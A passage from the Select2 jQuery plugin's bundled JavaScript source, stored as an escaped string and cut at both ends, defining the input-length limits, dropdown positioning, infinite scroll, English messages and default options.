'';\r\n\r\n    if (params.term.length < this.minimumInputLength) {\r\n      this.trigger('results:message', {\r\n        message: 'inputTooShort',\r\n        args: {\r\n          minimum: this.minimumInputLength,\r\n          input: params.term,\r\n          params: params\r\n        }\r\n      });\r\n\r\n      return;\r\n    }\r\n\r\n    decorated.call(this, params, callback);\r\n  };\r\n\r\n  return MinimumInputLength;\r\n});\r\n\r\nS2.define('select2/data/maximumInputLength',[\r\n\r\n], function () {\r\n  function MaximumInputLength (decorated, $e, options) {\r\n    this.maximumInputLength = options.get('maximumInputLength');\r\n\r\n    decorated.call(this, $e, options);\r\n  }\r\n\r\n  MaximumInputLength.prototype.query = function (decorated, params, callback) {\r\n    params.term = params.term || '';\r\n\r\n    if (this.maximumInputLength > 0 &&\r\n        params.term.length > this.maximumInputLength) {\r\n      this.trigger('results:message', {\r\n        message: 'inputTooLong',\r\n        args: {\r\n          maximum: this.maximumInputLength,\r\n          input: params.term,\r\n          params: params\r\n        }\r\n      });\r\n\r\n      return;\r\n    }\r\n\r\n    decorated.call(this, params, callback);\r\n  };\r\n\r\n  return MaximumInputLength;\r\n});\r\n\r\nS2.define('select2/data/maximumSelectionLength',[\r\n\r\n], function (){\r\n  function MaximumSelectionLength (decorated, $e, options) {\r\n    this.maximumSelectionLength = options.get('maximumSelectionLength');\r\n\r\n    decorated.call(this, $e, options);\r\n  }\r\n\r\n  MaximumSelectionLength.prototype.query =\r\n    function (decorated, params, callback) {\r\n      var self = this;\r\n\r\n      this.current(function (currentData) {\r\n        var count = currentData != null ? currentData.length : 0;\r\n        if (self.maximumSelectionLength > 0 &&\r\n          count >= self.maximumSelectionLength) {\r\n          self.trigger('results:message', {\r\n            message: 'maximumSelected',\r\n            args: {\r\n              maximum: self.maximumSelectionLength\r\n            }\r\n          });\r\n          return;\r\n        }\r\n        decorated.call(self, params, callback);\r\n      });\r\n  };\r\n\r\n  return MaximumSelectionLength;\r\n});\r\n\r\nS2.define('select2/dropdown',[\r\n  'jquery',\r\n  './utils'\r\n], function ($, Utils) {\r\n  function Dropdown ($element, options) {\r\n    this.$element = $element;\r\n    this.options = options;\r\n\r\n    Dropdown.__super__.constructor.call(this);\r\n  }\r\n\r\n  Utils.Extend(Dropdown, Utils.Observable);\r\n\r\n  Dropdown.prototype.render = function () {\r\n    var $dropdown = $(\r\n      '<span class=\"select2-dropdown\">' +\r\n        '<span class=\"select2-results\"></span>' +\r\n      '</span>'\r\n    );\r\n\r\n    $dropdown.attr('dir', this.options.get('dir'));\r\n\r\n    this.$dropdown = $dropdown;\r\n\r\n    return $dropdown;\r\n  };\r\n\r\n  Dropdown.prototype.bind = function () {\r\n    // Should be implemented in subclasses\r\n  };\r\n\r\n  Dropdown.prototype.position = function ($dropdown, $container) {\r\n    // Should be implmented in subclasses\r\n  };\r\n\r\n  Dropdown.prototype.destroy = function () {\r\n    // Remove the dropdown from the DOM\r\n    this.$dropdown.remove();\r\n  };\r\n\r\n  return Dropdown;\r\n});\r\n\r\nS2.define('select2/dropdown/search',[\r\n  'jquery',\r\n  '../utils'\r\n], function ($, Utils) {\r\n  function Search () { }\r\n\r\n  Search.prototype.render = function (decorated) {\r\n    var $rendered = decorated.call(this);\r\n\r\n    var $search = $(\r\n      '<span class=\"select2-search select2-search--dropdown\">' +\r\n        '<input class=\"select2-search__field\" type=\"search\" tabindex=\"-1\"' +\r\n        ' autocomplete=\"off\" autocorrect=\"off\" autocapitalize=\"off\"' +\r\n        ' spellcheck=\"false\" role=\"textbox\" />' +\r\n      '</span>'\r\n    );\r\n\r\n    this.$searchContainer = $search;\r\n    this.$search = $search.find('input');\r\n\r\n    $rendered.prepend($search);\r\n\r\n    return $rendered;\r\n  };\r\n\r\n  Search.prototype.bind = function (decorated, container, $container) {\r\n    var self = this;\r\n\r\n    decorated.call(this, container, $container);\r\n\r\n    this.$search.on('keydown', function (evt) {\r\n      self.trigger('keypress', evt);\r\n\r\n      self._keyUpPrevented = evt.isDefaultPrevented();\r\n    });\r\n\r\n    // Workaround for browsers which do not support the `input` event\r\n    // This will prevent double-triggering of events for browsers which support\r\n    // both the `keyup` and `input` events.\r\n    this.$search.on('input', function (evt) {\r\n      // Unbind the duplicated `keyup` event\r\n      $(this).off('keyup');\r\n    });\r\n\r\n    this.$search.on('keyup input', function (evt) {\r\n      self.handleSearch(evt);\r\n    });\r\n\r\n    container.on('open', function () {\r\n      self.$search.attr('tabindex', 0);\r\n\r\n      self.$search.focus();\r\n\r\n      window.setTimeout(function () {\r\n        self.$search.focus();\r\n      }, 0);\r\n    });\r\n\r\n    container.on('close', function () {\r\n      self.$search.attr('tabindex', -1);\r\n\r\n      self.$search.val('');\r\n    });\r\n\r\n    container.on('focus', function () {\r\n      if (container.isOpen()) {\r\n        self.$search.focus();\r\n      }\r\n    });\r\n\r\n    container.on('results:all', function (params) {\r\n      if (params.query.term == null || params.query.term === '') {\r\n        var showSearch = self.showSearch(params);\r\n\r\n        if (showSearch) {\r\n          self.$searchContainer.removeClass('select2-search--hide');\r\n        } else {\r\n          self.$searchContainer.addClass('select2-search--hide');\r\n        }\r\n      }\r\n    });\r\n  };\r\n\r\n  Search.prototype.handleSearch = function (evt) {\r\n    if (!this._keyUpPrevented) {\r\n      var input = this.$search.val();\r\n\r\n      this.trigger('query', {\r\n        term: input\r\n      });\r\n    }\r\n\r\n    this._keyUpPrevented = false;\r\n  };\r\n\r\n  Search.prototype.showSearch = function (_, params) {\r\n    return true;\r\n  };\r\n\r\n  return Search;\r\n});\r\n\r\nS2.define('select2/dropdown/hidePlaceholder',[\r\n\r\n], function () {\r\n  function HidePlaceholder (decorated, $element, options, dataAdapter) {\r\n    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));\r\n\r\n    decorated.call(this, $element, options, dataAdapter);\r\n  }\r\n\r\n  HidePlaceholder.prototype.append = function (decorated, data) {\r\n    data.results = this.removePlaceholder(data.results);\r\n\r\n    decorated.call(this, data);\r\n  };\r\n\r\n  HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) {\r\n    if (typeof placeholder === 'string') {\r\n      placeholder = {\r\n        id: '',\r\n        text: placeholder\r\n      };\r\n    }\r\n\r\n    return placeholder;\r\n  };\r\n\r\n  HidePlaceholder.prototype.removePlaceholder = function (_, data) {\r\n    var modifiedData = data.slice(0);\r\n\r\n    for (var d = data.length - 1; d >= 0; d--) {\r\n      var item = data[d];\r\n\r\n      if (this.placeholder.id === item.id) {\r\n        modifiedData.splice(d, 1);\r\n      }\r\n    }\r\n\r\n    return modifiedData;\r\n  };\r\n\r\n  return HidePlaceholder;\r\n});\r\n\r\nS2.define('select2/dropdown/infiniteScroll',[\r\n  'jquery'\r\n], function ($) {\r\n  function InfiniteScroll (decorated, $element, options, dataAdapter) {\r\n    this.lastParams = {};\r\n\r\n    decorated.call(this, $element, options, dataAdapter);\r\n\r\n    this.$loadingMore = this.createLoadingMore();\r\n    this.loading = false;\r\n  }\r\n\r\n  InfiniteScroll.prototype.append = function (decorated, data) {\r\n    this.$loadingMore.remove();\r\n    this.loading = false;\r\n\r\n    decorated.call(this, data);\r\n\r\n    if (this.showLoadingMore(data)) {\r\n      this.$results.append(this.$loadingMore);\r\n    }\r\n  };\r\n\r\n  InfiniteScroll.prototype.bind = function (decorated, container, $container) {\r\n    var self = this;\r\n\r\n    decorated.call(this, container, $container);\r\n\r\n    container.on('query', function (params) {\r\n      self.lastParams = params;\r\n      self.loading = true;\r\n    });\r\n\r\n    container.on('query:append', function (params) {\r\n      self.lastParams = params;\r\n      self.loading = true;\r\n    });\r\n\r\n    this.$results.on('scroll', function () {\r\n      var isLoadMoreVisible = $.contains(\r\n        document.documentElement,\r\n        self.$loadingMore[0]\r\n      );\r\n\r\n      if (self.loading || !isLoadMoreVisible) {\r\n        return;\r\n      }\r\n\r\n      var currentOffset = self.$results.offset().top +\r\n        self.$results.outerHeight(false);\r\n      var loadingMoreOffset = self.$loadingMore.offset().top +\r\n        self.$loadingMore.outerHeight(false);\r\n\r\n      if (currentOffset + 50 >= loadingMoreOffset) {\r\n        self.loadMore();\r\n      }\r\n    });\r\n  };\r\n\r\n  InfiniteScroll.prototype.loadMore = function () {\r\n    this.loading = true;\r\n\r\n    var params = $.extend({}, {page: 1}, this.lastParams);\r\n\r\n    params.page++;\r\n\r\n    this.trigger('query:append', params);\r\n  };\r\n\r\n  InfiniteScroll.prototype.showLoadingMore = function (_, data) {\r\n    return data.pagination && data.pagination.more;\r\n  };\r\n\r\n  InfiniteScroll.prototype.createLoadingMore = function () {\r\n    var $option = $(\r\n      '<li ' +\r\n      'class=\"select2-results__option select2-results__option--load-more\"' +\r\n      'role=\"treeitem\" aria-disabled=\"true\"></li>'\r\n    );\r\n\r\n    var message = this.options.get('translations').get('loadingMore');\r\n\r\n    $option.html(message(this.lastParams));\r\n\r\n    return $option;\r\n  };\r\n\r\n  return InfiniteScroll;\r\n});\r\n\r\nS2.define('select2/dropdown/attachBody',[\r\n  'jquery',\r\n  '../utils'\r\n], function ($, Utils) {\r\n  function AttachBody (decorated, $element, options) {\r\n    this.$dropdownParent = options.get('dropdownParent') || $(document.body);\r\n\r\n    decorated.call(this, $element, options);\r\n  }\r\n\r\n  AttachBody.prototype.bind = function (decorated, container, $container) {\r\n    var self = this;\r\n\r\n    var setupResultsEvents = false;\r\n\r\n    decorated.call(this, container, $container);\r\n\r\n    container.on('open', function () {\r\n      self._showDropdown();\r\n      self._attachPositioningHandler(container);\r\n\r\n      if (!setupResultsEvents) {\r\n        setupResultsEvents = true;\r\n\r\n        container.on('results:all', function () {\r\n          self._positionDropdown();\r\n          self._resizeDropdown();\r\n        });\r\n\r\n        container.on('results:append', function () {\r\n          self._positionDropdown();\r\n          self._resizeDropdown();\r\n        });\r\n      }\r\n    });\r\n\r\n    container.on('close', function () {\r\n      self._hideDropdown();\r\n      self._detachPositioningHandler(container);\r\n    });\r\n\r\n    this.$dropdownContainer.on('mousedown', function (evt) {\r\n      evt.stopPropagation();\r\n    });\r\n  };\r\n\r\n  AttachBody.prototype.destroy = function (decorated) {\r\n    decorated.call(this);\r\n\r\n    this.$dropdownContainer.remove();\r\n  };\r\n\r\n  AttachBody.prototype.position = function (decorated, $dropdown, $container) {\r\n    // Clone all of the container classes\r\n    $dropdown.attr('class', $container.attr('class'));\r\n\r\n    $dropdown.removeClass('select2');\r\n    $dropdown.addClass('select2-container--open');\r\n\r\n    $dropdown.css({\r\n      position: 'absolute',\r\n      top: -999999\r\n    });\r\n\r\n    this.$container = $container;\r\n  };\r\n\r\n  AttachBody.prototype.render = function (decorated) {\r\n    var $container = $('<span></span>');\r\n\r\n    var $dropdown = decorated.call(this);\r\n    $container.append($dropdown);\r\n\r\n    this.$dropdownContainer = $container;\r\n\r\n    return $container;\r\n  };\r\n\r\n  AttachBody.prototype._hideDropdown = function (decorated) {\r\n    this.$dropdownContainer.detach();\r\n  };\r\n\r\n  AttachBody.prototype._attachPositioningHandler =\r\n      function (decorated, container) {\r\n    var self = this;\r\n\r\n    var scrollEvent = 'scroll.select2.' + container.id;\r\n    var resizeEvent = 'resize.select2.' + container.id;\r\n    var orientationEvent = 'orientationchange.select2.' + container.id;\r\n\r\n    var $watchers = this.$container.parents().filter(Utils.hasScroll);\r\n    $watchers.each(function () {\r\n      $(this).data('select2-scroll-position', {\r\n        x: $(this).scrollLeft(),\r\n        y: $(this).scrollTop()\r\n      });\r\n    });\r\n\r\n    $watchers.on(scrollEvent, function (ev) {\r\n      var position = $(this).data('select2-scroll-position');\r\n      $(this).scrollTop(position.y);\r\n    });\r\n\r\n    $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent,\r\n      function (e) {\r\n      self._positionDropdown();\r\n      self._resizeDropdown();\r\n    });\r\n  };\r\n\r\n  AttachBody.prototype._detachPositioningHandler =\r\n      function (decorated, container) {\r\n    var scrollEvent = 'scroll.select2.' + container.id;\r\n    var resizeEvent = 'resize.select2.' + container.id;\r\n    var orientationEvent = 'orientationchange.select2.' + container.id;\r\n\r\n    var $watchers = this.$container.parents().filter(Utils.hasScroll);\r\n    $watchers.off(scrollEvent);\r\n\r\n    $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent);\r\n  };\r\n\r\n  AttachBody.prototype._positionDropdown = function () {\r\n    var $window = $(window);\r\n\r\n    var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above');\r\n    var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below');\r\n\r\n    var newDirection = null;\r\n\r\n    var offset = this.$container.offset();\r\n\r\n    offset.bottom = offset.top + this.$container.outerHeight(false);\r\n\r\n    var container = {\r\n      height: this.$container.outerHeight(false)\r\n    };\r\n\r\n    container.top = offset.top;\r\n    container.bottom = offset.top + container.height;\r\n\r\n    var dropdown = {\r\n      height: this.$dropdown.outerHeight(false)\r\n    };\r\n\r\n    var viewport = {\r\n      top: $window.scrollTop(),\r\n      bottom: $window.scrollTop() + $window.height()\r\n    };\r\n\r\n    var enoughRoomAbove = viewport.top < (offset.top - dropdown.height);\r\n    var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height);\r\n\r\n    var css = {\r\n      left: offset.left,\r\n      top: container.bottom\r\n    };\r\n\r\n    // Determine what the parent element is to use for calciulating the offset\r\n    var $offsetParent = this.$dropdownParent;\r\n\r\n    // For statically positoned elements, we need to get the element\r\n    // that is determining the offset\r\n    if ($offsetParent.css('position') === 'static') {\r\n      $offsetParent = $offsetParent.offsetParent();\r\n    }\r\n\r\n    var parentOffset = $offsetParent.offset();\r\n\r\n    css.top -= parentOffset.top;\r\n    css.left -= parentOffset.left;\r\n\r\n    if (!isCurrentlyAbove && !isCurrentlyBelow) {\r\n      newDirection = 'below';\r\n    }\r\n\r\n    if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) {\r\n      newDirection = 'above';\r\n    } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) {\r\n      newDirection = 'below';\r\n    }\r\n\r\n    if (newDirection == 'above' ||\r\n      (isCurrentlyAbove && newDirection !== 'below')) {\r\n      css.top = container.top - parentOffset.top - dropdown.height;\r\n    }\r\n\r\n    if (newDirection != null) {\r\n      this.$dropdown\r\n        .removeClass('select2-dropdown--below select2-dropdown--above')\r\n        .addClass('select2-dropdown--' + newDirection);\r\n      this.$container\r\n        .removeClass('select2-container--below select2-container--above')\r\n        .addClass('select2-container--' + newDirection);\r\n    }\r\n\r\n    this.$dropdownContainer.css(css);\r\n  };\r\n\r\n  AttachBody.prototype._resizeDropdown = function () {\r\n    var css = {\r\n      width: this.$container.outerWidth(false) + 'px'\r\n    };\r\n\r\n    if (this.options.get('dropdownAutoWidth')) {\r\n      css.minWidth = css.width;\r\n      css.position = 'relative';\r\n      css.width = 'auto';\r\n    }\r\n\r\n    this.$dropdown.css(css);\r\n  };\r\n\r\n  AttachBody.prototype._showDropdown = function (decorated) {\r\n    this.$dropdownContainer.appendTo(this.$dropdownParent);\r\n\r\n    this._positionDropdown();\r\n    this._resizeDropdown();\r\n  };\r\n\r\n  return AttachBody;\r\n});\r\n\r\nS2.define('select2/dropdown/minimumResultsForSearch',[\r\n\r\n], function () {\r\n  function countResults (data) {\r\n    var count = 0;\r\n\r\n    for (var d = 0; d < data.length; d++) {\r\n      var item = data[d];\r\n\r\n      if (item.children) {\r\n        count += countResults(item.children);\r\n      } else {\r\n        count++;\r\n      }\r\n    }\r\n\r\n    return count;\r\n  }\r\n\r\n  function MinimumResultsForSearch (decorated, $element, options, dataAdapter) {\r\n    this.minimumResultsForSearch = options.get('minimumResultsForSearch');\r\n\r\n    if (this.minimumResultsForSearch < 0) {\r\n      this.minimumResultsForSearch = Infinity;\r\n    }\r\n\r\n    decorated.call(this, $element, options, dataAdapter);\r\n  }\r\n\r\n  MinimumResultsForSearch.prototype.showSearch = function (decorated, params) {\r\n    if (countResults(params.data.results) < this.minimumResultsForSearch) {\r\n      return false;\r\n    }\r\n\r\n    return decorated.call(this, params);\r\n  };\r\n\r\n  return MinimumResultsForSearch;\r\n});\r\n\r\nS2.define('select2/dropdown/selectOnClose',[\r\n\r\n], function () {\r\n  function SelectOnClose () { }\r\n\r\n  SelectOnClose.prototype.bind = function (decorated, container, $container) {\r\n    var self = this;\r\n\r\n    decorated.call(this, container, $container);\r\n\r\n    container.on('close', function (params) {\r\n      self._handleSelectOnClose(params);\r\n    });\r\n  };\r\n\r\n  SelectOnClose.prototype._handleSelectOnClose = function (_, params) {\r\n    if (params && params.originalSelect2Event != null) {\r\n      var event = params.originalSelect2Event;\r\n\r\n      // Don't select an item if the close event was triggered from a select or\r\n      // unselect event\r\n      if (event._type === 'select' || event._type === 'unselect') {\r\n        return;\r\n      }\r\n    }\r\n\r\n    var $highlightedResults = this.getHighlightedResults();\r\n\r\n    // Only select highlighted results\r\n    if ($highlightedResults.length < 1) {\r\n      return;\r\n    }\r\n\r\n    var data = $highlightedResults.data('data');\r\n\r\n    // Don't re-select already selected resulte\r\n    if (\r\n      (data.element != null && data.element.selected) ||\r\n      (data.element == null && data.selected)\r\n    ) {\r\n      return;\r\n    }\r\n\r\n    this.trigger('select', {\r\n        data: data\r\n    });\r\n  };\r\n\r\n  return SelectOnClose;\r\n});\r\n\r\nS2.define('select2/dropdown/closeOnSelect',[\r\n\r\n], function () {\r\n  function CloseOnSelect () { }\r\n\r\n  CloseOnSelect.prototype.bind = function (decorated, container, $container) {\r\n    var self = this;\r\n\r\n    decorated.call(this, container, $container);\r\n\r\n    container.on('select', function (evt) {\r\n      self._selectTriggered(evt);\r\n    });\r\n\r\n    container.on('unselect', function (evt) {\r\n      self._selectTriggered(evt);\r\n    });\r\n  };\r\n\r\n  CloseOnSelect.prototype._selectTriggered = function (_, evt) {\r\n    var originalEvent = evt.originalEvent;\r\n\r\n    // Don't close if the control key is being held\r\n    if (originalEvent && originalEvent.ctrlKey) {\r\n      return;\r\n    }\r\n\r\n    this.trigger('close', {\r\n      originalEvent: originalEvent,\r\n      originalSelect2Event: evt\r\n    });\r\n  };\r\n\r\n  return CloseOnSelect;\r\n});\r\n\r\nS2.define('select2/i18n/en',[],function () {\r\n  // English\r\n  return {\r\n    errorLoading: function () {\r\n      return 'The results could not be loaded.';\r\n    },\r\n    inputTooLong: function (args) {\r\n      var overChars = args.input.length - args.maximum;\r\n\r\n      var message = 'Please delete ' + overChars + ' character';\r\n\r\n      if (overChars != 1) {\r\n        message += 's';\r\n      }\r\n\r\n      return message;\r\n    },\r\n    inputTooShort: function (args) {\r\n      var remainingChars = args.minimum - args.input.length;\r\n\r\n      var message = 'Please enter ' + remainingChars + ' or more characters';\r\n\r\n      return message;\r\n    },\r\n    loadingMore: function () {\r\n      return 'Loading more results…';\r\n    },\r\n    maximumSelected: function (args) {\r\n      var message = 'You can only select ' + args.maximum + ' item';\r\n\r\n      if (args.maximum != 1) {\r\n        message += 's';\r\n      }\r\n\r\n      return message;\r\n    },\r\n    noResults: function () {\r\n      return 'No results found';\r\n    },\r\n    searching: function () {\r\n      return 'Searching…';\r\n    }\r\n  };\r\n});\r\nS2.define('select2/defaults',[\r\n  'jquery',\r\n  'require',\r\n\r\n  './results',\r\n\r\n  './selection/single',\r\n  './selection/multiple',\r\n  './selection/placeholder',\r\n  './selection/allowClear',\r\n  './selection/search',\r\n  './selection/eventRelay',\r\n\r\n  './utils',\r\n  './translation',\r\n  './diacritics',\r\n\r\n  './data/select',\r\n  './data/array',\r\n  './data/ajax',\r\n  './data/tags',\r\n  './data/tokenizer',\r\n  './data/minimumInputLength',\r\n  './data/maximumInputLength',\r\n  './data/maximumSelectionLength',\r\n\r\n  './dropdown',\r\n  './dropdown/search',\r\n  './dropdown/hidePlaceholder',\r\n  './dropdown/infiniteScroll',\r\n  './dropdown/attachBody',\r\n  './dropdown/minimumResultsForSearch',\r\n  './dropdown/selectOnClose',\r\n  './dropdown/closeOnSelect',\r\n\r\n  './i18n/en'\r\n], function ($, require,\r\n\r\n             ResultsList,\r\n\r\n             SingleSelection, MultipleSelection, Placeholder, AllowClear,\r\n             SelectionSearch, EventRelay,\r\n\r\n             Utils, Translation, DIACRITICS,\r\n\r\n             SelectData, ArrayData, AjaxData, Tags, Tokenizer,\r\n             MinimumInputLength, MaximumInputLength, MaximumSelectionLength,\r\n\r\n             Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll,\r\n             AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect,\r\n\r\n             EnglishTranslation) {\r\n  function Defaults () {\r\n    this.reset();\r\n  }\r\n\r\n  Defaults.prototype.apply = function (options) {\r\n    options = $.extend(true, {}, this.defaults, options);\r\n\r\n    if (options.dataAdapter == null) {\r\n      if (options.ajax != null) {\r\n        options.dataAdapter = AjaxData;\r\n      } else if (options.data != null) {\r\n        options.dataAdapter = ArrayData;\r\n      } else {\r\n        options.dataAdapter = SelectData;\r\n      }\r\n\r\n      if (options.minimumInputLength > 0) {\r\n        options.dataAdapter = Utils.Decorate(\r\n          options.dataAdapter,\r\n          MinimumInputLength\r\n        );\r\n      }\r\n\r\n      if (options.maximumInputLength > 0) {\r\n        options.dataAdapter = Utils.Decorate(\r\n          options.dataAdapter,\r\n          MaximumInputLength\r\n        );\r\n      }\r\n\r\n      if (options.maximumSelectionLength > 0) {\r\n        options.dataAdapter = Utils.Decorate(\r\n          options.dataAdapter,\r\n          MaximumSelectionLength\r\n        );\r\n      }\r\n\r\n      if (options.tags) {\r\n        options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags);\r\n      }\r\n\r\n      if (options.tokenSeparators != null || options.tokenizer != null) {\r\n        options.dataAdapter = Utils.Decorate(\r\n          options.dataAdapter,\r\n          Tokenizer\r\n        );\r\n      }\r\n\r\n      if (options.query != null) {\r\n        var Query = require(options.amdBase + 'compat/query');\r\n\r\n        options.dataAdapter = Utils.Decorate(\r\n          options.dataAdapter,\r\n          Query\r\n        );\r\n      }\r\n\r\n      if (options.initSelection != null) {\r\n        var InitSelection = require(options.amdBase + 'compat/initSelection');\r\n\r\n        options.dataAdapter = Utils.Decorate(\r\n          options.dataAdapter,\r\n          InitSelection\r\n        );\r\n      }\r\n    }\r\n\r\n    if (options.resultsAdapter == null) {\r\n      options.resultsAdapter = ResultsList;\r\n\r\n      if (options.ajax != null) {\r\n        options.resultsAdapter = Utils.Decorate(\r\n          options.resultsAdapter,\r\n          InfiniteScroll\r\n        );\r\n      }\r\n\r\n      if (options.placeholder != null) {\r\n        options.resultsAdapter = Utils.Decorate(\r\n          options.resultsAdapter,\r\n          HidePlaceholder\r\n        );\r\n      }\r\n\r\n      if (options.selectOnClose) {\r\n        options.resultsAdapter = Utils.Decorate(\r\n          options.resultsAdapter,\r\n          SelectOnClose\r\n        );\r\n      }\r\n    }\r\n\r\n    if (options.dropdownAdapter == null) {\r\n      if (options.multiple) {\r\n        options.dropdownAdapter = Dropdown;\r\n      } else {\r\n        var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch);\r\n\r\n        options.dropdownAdapter = SearchableDropdown;\r\n      }\r\n\r\n      if (options.minimumResultsForSearch !== 0) {\r\n        options.dropdownAdapter = Utils.Decorate(\r\n          options.dropdownAdapter,\r\n          MinimumResultsForSearch\r\n        );\r\n      }\r\n\r\n      if (options.closeOnSelect) {\r\n        options.dropdownAdapter = Utils.Decorate(\r\n          options.dropdownAdapter,\r\n          CloseOnSelect\r\n        );\r\n      }\r\n\r\n      if (\r\n        options.dropdownCssClass != null ||\r\n        options.dropdownCss != null ||\r\n        options.adaptDropdownCssClass != null\r\n      ) {\r\n        var DropdownCSS = require(options.amdBase + 'compat/dropdownCss');\r\n\r\n        options.dropdownAdapter = Utils.Decorate(\r\n          options.dropdownAdapter,\r\n          DropdownCSS\r\n        );\r\n      }\r\n\r\n      options.dropdownAdapter = Utils.Decorate(\r\n        options.dropdownAdapter,\r\n        AttachBody\r\n      );\r\n    }\r\n\r\n    if (options.selectionAdapter == null) {\r\n      if (options.multiple) {\r\n        options.selectionAdapter = MultipleSelection;\r\n      } else {\r\n        options.selectionAdapter = SingleSelection;\r\n      }\r\n\r\n      // Add the placeholder mixin if a placeholder was specified\r\n      if (options.placeholder != null) {\r\n        options.selectionAdapter = Utils.Decorate(\r\n          options.selectionAdapter,\r\n          Placeholder\r\n        );\r\n      }\r\n\r\n      if (options.allowClear) {\r\n        options.selectionAdapter = Utils.Decorate(\r\n          options.selectionAdapter,\r\n          AllowClear\r\n        );\r\n      }\r\n\r\n      if (options.multiple) {\r\n        options.selectionAdapter = Utils.Decorate(\r\n          options.selectionAdapter,\r\n          SelectionSearch\r\n        );\r\n      }\r\n\r\n      if (\r\n        options.containerCssClass != null ||\r\n        options.containerCss != null ||\r\n        options.adaptContainerCssClass != null\r\n      ) {\r\n        var ContainerCSS = require(options.amdBase + 'compat/containerCss');\r\n\r\n        options.selectionAdapter = Utils.Decorate(\r\n          options.selectionAdapter,\r\n          ContainerCSS\r\n        );\r\n      }\r\n\r\n      options.selectionAdapter = Utils.Decorate(\r\n        options.selectionAdapter,\r\n        EventRelay\r\n      );\r\n    }\r\n\r\n    if (typeof options.language === 'string') {\r\n      // Check if the language is specified with a region\r\n      if (options.language.indexOf('-') > 0) {\r\n        // Extract the region information if it is included\r\n        var languageParts = options.language.split('-');\r\n        var baseLanguage = languageParts[0];\r\n\r\n        options.language = [options.language, baseLanguage];\r\n      } else {\r\n        options.language = [options.language];\r\n      }\r\n    }\r\n\r\n    if ($.isArray(options.language)) {\r\n      var languages = new Translation();\r\n      options.language.push('en');\r\n\r\n      var languageNames = options.language;\r\n\r\n      for (var l = 0; l < languageNames.length; l++) {\r\n        var name = languageNames[l];\r\n        var language = {};\r\n\r\n        try {\r\n          // Try to load it with the original name\r\n          language = Translation.loadPath(name);\r\n        } catch (e) {\r\n          try {\r\n            // If we couldn't load it, check if it wasn't the full path\r\n            name = this.defaults.amdLanguageBase + name;\r\n            language = Translation.loadPath(name);\r\n          } catch (ex) {\r\n            // The translation could not be loaded at all. Sometimes this is\r\n            // because of a configuration problem, other times this can be\r\n            // because of how Select2 helps load all possible translation files.\r\n            if (options.debug && window.console && console.warn) {\r\n              console.warn(\r\n                'Select2: The language file for \"' + name + '\" could not be ' +\r\n                'automatically loaded. A fallback will be used instead.'\r\n              );\r\n            }\r\n\r\n            continue;\r\n          }\r\n        }\r\n\r\n        languages.extend(language);\r\n      }\r\n\r\n      options.translations = languages;\r\n    } else {\r\n      var baseTranslation = Translation.loadPath(\r\n        this.defaults.amdLanguageBase + 'en'\r\n      );\r\n      var customTranslation = new Translation(options.language);\r\n\r\n      customTranslation.extend(baseTranslation);\r\n\r\n      options.translations = customTranslation;\r\n    }\r\n\r\n    return options;\r\n  };\r\n\r\n  Defaults.prototype.reset = function () {\r\n    function stripDiacritics (text) {\r\n      // Used 'uni range + named function' from http://jsperf.com/diacritics/18\r\n      function match(a) {\r\n        return DIACRITICS[a] || a;\r\n      }\r\n\r\n      return text.replace(/[^\\u0000-\\u007E]/g, match);\r\n    }\r\n\r\n    function matcher (params, data) {\r\n      // Always return the object if there is nothing to compare\r\n      if ($.trim(params.term) === '') {\r\n        return data;\r\n      }\r\n\r\n      // Do a recursive check for options with children\r\n      if (data.children && data.children.length > 0) {\r\n        // Clone the data object if there are children\r\n        // This is required as we modify the object to remove any non-matches\r\n        var match = $.extend(true, {}, data);\r\n\r\n        // Check each child of the option\r\n        for (var c = data.children.length - 1; c >= 0; c--) {\r\n          var child = data.children[c];\r\n\r\n          var matches = matcher(params, child);\r\n\r\n          // If there wasn't a match, remove the object in the array\r\n          if (matches == null) {\r\n            match.children.splice(c, 1);\r\n          }\r\n        }\r\n\r\n        // If any children matched, return the new object\r\n        if (match.children.length > 0) {\r\n          return match;\r\n        }\r\n\r\n        // If there were no matching children, check just the plain object\r\n        return matcher(params, match);\r\n      }\r\n\r\n      var original = stripDiacritics(data.text).toUpperCase();\r\n      var term = stripDiacritics(params.term).toUpperCase();\r\n\r\n      // Check if the text contains the term\r\n      if (original.indexOf(term) > -1) {\r\n        return data;\r\n      }\r\n\r\n      // If it doesn't contain the term, don't return anything\r\n      return null;\r\n    }\r\n\r\n    this.defaults = {\r\n      amdBase: './',\r\n      amdLanguageBase: './i18n/',\r\n      closeOnSelect: true,\r\n      debug: false,\r\n      dropdownAutoWidth: false,\r\n      escapeMarkup: Utils.escapeMarkup,\r\n      language: EnglishTranslation,\r\n      matcher: matcher,\r\n      minimumInputLength: 0,\r\n      maximumInputLength: 0,\r\n      maximumSelectionLength: 0,\r\n      minimumResultsForSearch: 0,\r\n      selectOnClose: false,\r\n      sorter: function (data) {\r\n        return data;\r\n      },\r\n      templateResult: function (result) {\r\n        return result.text;\r\n      },\r\n      templateSelection: function (selection) {\r\n        return selection.text;\r\n      },\r\n      theme: 'default',\r\n      width: 'resolve'\r\n    };\r\n  };\r\n\r\n  Defaults.prototype.set = function (key, value) {\r\n    var camelKey = $.camelCase(key);\r\n\r\n    var data = {};\r\n    data[camelKey] = value;\r\n\r\n    var convertedData = Utils._convertData(data);\r\n\r\n    $.extend(this.defaults, convertedData);\r\n  };\r\n\r\n  var defaults = new Defaults();\r\n\r\n  return defaults;\r\n});\r\n\r\nS2.define('select2/options',[\r\n  'require',\r\n  'jquery',\r\n  './defaults',\r\n  './utils'\r\n], function (require, $, Defaults, Utils) {\r\n  function Options (options, $element) {\r\n    this.options = options;\r\n\r\n    if ($element != null) {\r\n      this.fromElement($element);\r\n    }\r\n\r\n    this.options = Defaults.apply(this.options);\r\n\r\n    if ($element && $element.is('input')) {\r\n      var InputCompat = require(this.get('amdBase') + 'compat/inputData');\r\n\r\n      this.options.dataAdapter = Utils.Decorate(\r\n        